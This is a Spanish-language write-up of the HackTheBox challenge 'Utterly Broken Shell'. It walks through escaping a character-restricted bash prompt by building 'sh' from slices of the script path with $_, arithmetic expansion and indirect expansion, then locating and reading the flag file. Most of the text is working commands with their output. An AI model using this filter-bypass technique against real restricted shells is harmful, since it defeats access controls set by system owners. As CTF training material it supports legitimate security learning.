Usa el árbol para saltar entre colecciones sin salir del lector.

archivo Seleccionar un writeup Abrir árbol
HackTheBox/Challenges/Challenge Utterly Broken Shell.md READ_ONLY

Challenge Utterly Broken Shell

Este reto consiste en obtener una terminal funcional evadiendo un entorno bash severamente restringido y la solución consiste en extraer caracteres de la ruta del script mediante expansiones de parámetros y operaciones matemáticas para construir y ejecutar el comando sh.

El entorno objetivo se encuentra altamente limitado, restringiendo la entrada de usuario a un conjunto mínimo de caracteres: ${}!_=:() y espacios. Al conectar al servicio remoto se revela la interfaz de la terminal personalizada y se confirma el filtro aplicado mediante expresiones regulares.

$ nc 154.57.164.61 31113
TERM environment variable not set.

⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⠀⠀⣀⣄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡴⠦⣤⣴⡟⠉⠉⡗⠚⡇⠀⠈⡷⢤⠖⠒⠲⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⢀⣀⡇⠀⠀⢸⠀⡇⠀⠀⠇⠀⡇⠀⠀⡇⢸⠀⠀⢠⠋⡝⠉⠓⢦⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⢠⠊⠁⢣⢰⠀⠀⠈⡆⢳⠀⠀⠀⠀⡇⠀⢸⠀⡇⠀⠀⡜⢰⠃⠀⠀⡜⢦⢤⣀⠀⠀⠀⠀⠀
⠀⠀⠀⡠⢴⠻⡀⠀⠈⡎⡇⠀⠀⢃⢸⠀⠀⢸⠀⡇⠀⢸⢀⡇⠀⢠⠃⡎⠀⠀⡼⢡⠃⠀⠙⡆⠀⠀⠀⠀
⠀⠀⢸⠁⠀⢣⢱⡀⠀⢸⣸⡀⠀⢸⠈⡄⠀⢸⠀⡇⠀⠘⢸⠀⠀⡸⢰⠁⠀⢰⢡⠏⠀⠀⡜⡿⢤⡀⠀⠀
⠀⣠⠞⣷⡄⠀⢣⢣⠀⠀⢧⢇⠀⠈⡆⡇⠀⢸⠀⡇⠀⡇⡼⠀⢀⠇⡏⠀⢠⢇⠎⠀⢀⡜⡜⠁⠀⢳⠀⠀
⢸⡁⠀⠈⢻⣦⠀⢫⢧⠀⠘⡾⡄⠀⣇⢡⠀⢸⠀⡇⠀⡇⡇⠀⣸⢸⠀⢀⠏⡜⠀⢀⢎⠞⠀⢀⡴⡻⡄⠀
⣰⠻⣆⠀⠀⠻⣷⡀⢻⣇⠀⢹⢧⠀⢸⢸⠀⢸⠀⡇⢠⢿⠃⠀⡇⡇⠀⡜⡾⠀⢠⢾⠎⠀⡰⢫⠞⠀⡟⠀
⢹⣅⠙⢷⣄⠀⠙⣷⡀⢻⡄⠈⣿⡄⠘⡞⡆⢸⠀⡇⢸⢸⠀⢸⣸⠀⡸⡽⠁⢠⣯⠋⣠⣾⡖⢁⡠⠚⣿⡄
⠘⣏⠳⣄⠙⣦⡀⠘⢧⠀⢻⡄⠸⣧⠀⠇⡇⢸⠀⡇⢸⡌⠀⣇⠇⢰⣱⠁⣠⡻⢃⡴⡷⢋⡴⢋⡤⣺⠇⠀
⠀⢹⡕⢄⠑⢌⠛⢦⠈⢣⡀⢻⡀⢳⠀⢸⢳⢸⠀⡇⣎⡇⢸⠽⢠⠇⠁⣰⡿⢡⣾⢞⣴⣯⡔⣫⢴⠟⠀⠀
⠀⠀⠙⢦⣝⢦⡑⢄⠳⣌⠳⡈⢧⠈⡆⠸⣼⠸⡀⡇⡏⠁⡏⢀⠎⠀⡰⠉⡱⠋⡡⣫⣞⣽⣋⣴⠟⠀⠀⠀
⠀⠀⠀⠀⠉⠻⢿⣮⡳⣌⢦⡱⡌⣆⢸⠀⡟⡆⡇⡇⡇⢸⠁⡜⠀⡼⠁⡜⠁⣪⠞⣿⡵⠟⠉⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠙⡾⣾⣷⣵⡜⡜⡄⠇⢣⡇⡇⢳⠁⡎⠀⠀⡼⢁⠞⠠⢾⡵⠟⠉⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⣷⠈⠛⢿⣾⣾⣾⠘⠈⠁⠇⠀⠀⠁⠀⠾⠁⢀⣤⠞⢫⡗⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠘⢧⣄⠀⠙⠿⣟⠀⠀⠀⠀⠀⠀⠀⠀⢀⡴⠛⣡⡴⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⠒⠦⠬⠷⢄⡀⠀⠀⠀⣠⠴⠟⠚⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠛⠒⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀

[*] Allowed characters: ^[${}![:space:]:_=()]+$
Broken@Shell$

Para escapar de esta restricción, resulta necesario construir comandos funcionales prescindiendo de los tradicionales caracteres alfanuméricos. La variable interna $_ almacena el último argumento del comando previamente ejecutado. Al invocar $_ dos veces seguidas, la terminal se pasa un parámetro vacío a sí misma, lo cual resulta implícitamente en la invocación del comando echo.

$ ${_} ${_}
echo

Guardar esta referencia en una variable facilita futuras interacciones sin la necesidad de escribir letras directamente.

$ __=${_}

Al intentar ejecutar una variable o un comando no válido en este contexto, se desencadena un error que expone la ruta absoluta de ejecución del script subyacente: /home/restricted_user/broken_shell.sh.

$ __
/home/restricted_user/broken_shell.sh: line 41: __: command not found

Con la ruta del script expuesta en memoria, la extracción de caracteres desde dicha cadena se convierte en un vector viable para formar nuevos comandos. Para realizar estas operaciones de recorte, se requieren valores numéricos, los cuales pueden sintetizarse usando expansión aritmética sobre variables no inicializadas. La evaluación matemática de una variable vacía produce de forma inherente el número cero.

$ $(( ____ ))
/home/restricted_user/broken_shell.sh: line 41: 0: command not found

El valor cero generado se almacena para ser utilizado como base numérica en las operaciones siguientes.

$ ____=$(( ____ ))

Aplicar una negación lógica al valor cero genera el número uno. Esto abre la puerta a operaciones iterativas de expansión de parámetros, tales como el desplazamiento de cadenas de texto y la selección por índices.

$ $(( ! ____ ))
/home/restricted_user/broken_shell.sh: line 41: 1: command not found

El uso de la expansión indirecta sobre la variable que contiene el cero permite volver a ejecutar de forma recursiva el script original, recargando el contexto inicial del entorno con la ruta absoluta en la memoria de la ejecución.

$ ${!____}
TERM environment variable not set.

⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⠀⠀⣀⣄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡴⠦⣤⣴⡟⠉⠉⡗⠚⡇⠀⠈⡷⢤⠖⠒⠲⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⢀⣀⡇⠀⠀⢸⠀⡇⠀⠀⠇⠀⡇⠀⠀⡇⢸⠀⠀⢠⠋⡝⠉⠓⢦⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⢠⠊⠁⢣⢰⠀⠀⠈⡆⢳⠀⠀⠀⠀⡇⠀⢸⠀⡇⠀⠀⡜⢰⠃⠀⠀⡜⢦⢤⣀⠀⠀⠀⠀⠀
⠀⠀⠀⡠⢴⠻⡀⠀⠈⡎⡇⠀⠀⢃⢸⠀⠀⢸⠀⡇⠀⢸⢀⡇⠀⢠⠃⡎⠀⠀⡼⢡⠃⠀⠙⡆⠀⠀⠀⠀
⠀⠀⢸⠁⠀⢣⢱⡀⠀⢸⣸⡀⠀⢸⠈⡄⠀⢸⠀⡇⠀⠘⢸⠀⠀⡸⢰⠁⠀⢰⢡⠏⠀⠀⡜⡿⢤⡀⠀⠀
⠀⣠⠞⣷⡄⠀⢣⢣⠀⠀⢧⢇⠀⠈⡆⡇⠀⢸⠀⡇⠀⡇⡼⠀⢀⠇⡏⠀⢠⢇⠎⠀⢀⡜⡜⠁⠀⢳⠀⠀
⢸⡁⠀⠈⢻⣦⠀⢫⢧⠀⠘⡾⡄⠀⣇⢡⠀⢸⠀⡇⠀⡇⡇⠀⣸⢸⠀⢀⠏⡜⠀⢀⢎⠞⠀⢀⡴⡻⡄⠀
⣰⠻⣆⠀⠀⠻⣷⡀⢻⣇⠀⢹⢧⠀⢸⢸⠀⢸⠀⡇⢠⢿⠃⠀⡇⡇⠀⡜⡾⠀⢠⢾⠎⠀⡰⢫⠞⠀⡟⠀
⢹⣅⠙⢷⣄⠀⠙⣷⡀⢻⡄⠈⣿⡄⠘⡞⡆⢸⠀⡇⢸⢸⠀⢸⣸⠀⡸⡽⠁⢠⣯⠋⣠⣾⡖⢁⡠⠚⣿⡄
⠘⣏⠳⣄⠙⣦⡀⠘⢧⠀⢻⡄⠸⣧⠀⠇⡇⢸⠀⡇⢸⡌⠀⣇⠇⢰⣱⠁⣠⡻⢃⡴⡷⢋⡴⢋⡤⣺⠇⠀
⠀⢹⡕⢄⠑⢌⠛⢦⠈⢣⡀⢻⡀⢳⠀⢸⢳⢸⠀⡇⣎⡇⢸⠽⢠⠇⠁⣰⡿⢡⣾⢞⣴⣯⡔⣫⢴⠟⠀⠀
⠀⠀⠙⢦⣝⢦⡑⢄⠳⣌⠳⡈⢧⠈⡆⠸⣼⠸⡀⡇⡏⠁⡏⢀⠎⠀⡰⠉⡱⠋⡡⣫⣞⣽⣋⣴⠟⠀⠀⠀
⠀⠀⠀⠀⠉⠻⢿⣮⡳⣌⢦⡱⡌⣆⢸⠀⡟⡆⡇⡇⡇⢸⠁⡜⠀⡼⠁⡜⠁⣪⠞⣿⡵⠟⠉⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠙⡾⣾⣷⣵⡜⡜⡄⠇⢣⡇⡇⢳⠁⡎⠀⠀⡼⢁⠞⠠⢾⡵⠟⠉⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⣷⠈⠛⢿⣾⣾⣾⠘⠈⠁⠇⠀⠀⠁⠀⠾⠁⢀⣤⠞⢫⡗⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠘⢧⣄⠀⠙⠿⣟⠀⠀⠀⠀⠀⠀⠀⠀⢀⡴⠛⣡⡴⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⠒⠦⠬⠷⢄⡀⠀⠀⠀⣠⠴⠟⠚⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠛⠒⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀

[*] Allowed characters: ^[${}![:space:]:_=()]+$

Dado que esta ejecución inicia una instancia nueva de la terminal controlada, resulta indispensable volver a definir las variables esenciales generadas.

$ __=${_}
$ ____=$(( ____ ))

A través de la expansión indirecta descrita, la ruta absoluta del script se extrae y se captura en una variable principal.

$ ______=${!____}

Esta variable de ruta se copia para operar sobre ella iterativamente preservando así la cadena de texto original.

$ ________=${______}

Empleando la expansión de parámetros nativa de Bash (${variable:inicio:longitud} o ${variable:inicio}), la ruta almacenada se desplaza recortando un carácter. Esta operación aísla la letra 'h' (presente en la ruta /home/...), la cual se extrae y se guarda de manera segura en una variable dedicada.

$ ________=${________:$(( !____ ))}
$ _________=${________:____:$(( !____ ))}

Los desplazamientos subsiguientes hacia la izquierda continúan reduciendo progresivamente la cadena de texto base hasta alcanzar la letra 's'.

$ ________=${________:$(( !____ ))}
$ ________=${________:$(( !____ ))}
$ ________=${________:$(( !____ ))}
$ ________=${________:$(( !____ ))}
$ ________=${________:$(( !____ ))}
$ ________=${________:$(( !____ ))}
$ ________=${________:$(( !____ ))}

Al llegar a la posición correcta, el carácter 's' se captura exitosamente en otra variable independiente.

$ __________=${________:____:$(( !____ ))}

Habiendo obtenido de forma completamente matemática y deductiva las letras requeridas, al concatenar los caracteres 's' y 'h' almacenados se forma el comando sh. Su ejecución desencadena una sub-terminal sin el filtro aplicado, proveyendo un acceso irrestricto y funcional.

$ ${__________}${_________}
sh: 0: can't access tty; job control turned off
$

Una búsqueda estándar a lo largo del sistema de archivos localiza rápidamente el archivo oculto que contiene el identificador o flag objetivo.

$ find / -name 'flag*' 2>/dev/null
find / -name 'flag*' 2>/dev/null
/home/restricted_user/flag_you_found_it_gg
/sys/devices/platform/serial8250/serial8250:0/serial8250:0.3/tty/ttyS3/flags
/sys/devices/platform/serial8250/serial8250:0/serial8250:0.1/tty/ttyS1/flags
/sys/devices/platform/serial8250/serial8250:0/serial8250:0.2/tty/ttyS2/flags
/sys/devices/platform/serial8250/serial8250:0/serial8250:0.0/tty/ttyS0/flags
/sys/devices/virtual/net/ip6tnl0/flags
/sys/devices/virtual/net/sit0/flags
/sys/devices/virtual/net/lo/flags
/sys/devices/virtual/net/tunl0/flags
/sys/devices/virtual/net/eth0/flags

La lectura íntegra del contenido del archivo localizado revela de manera exitosa la flag requerida para completar el reto.

$ cat /home/restricted_user/flag_you_found_it_gg
cat /home/restricted_user/flag_you_found_it_gg
'This file contains the flag. The problem is that it is not on the first line so you have to read the whole file to get it :) '
'
HTB{FLAG}$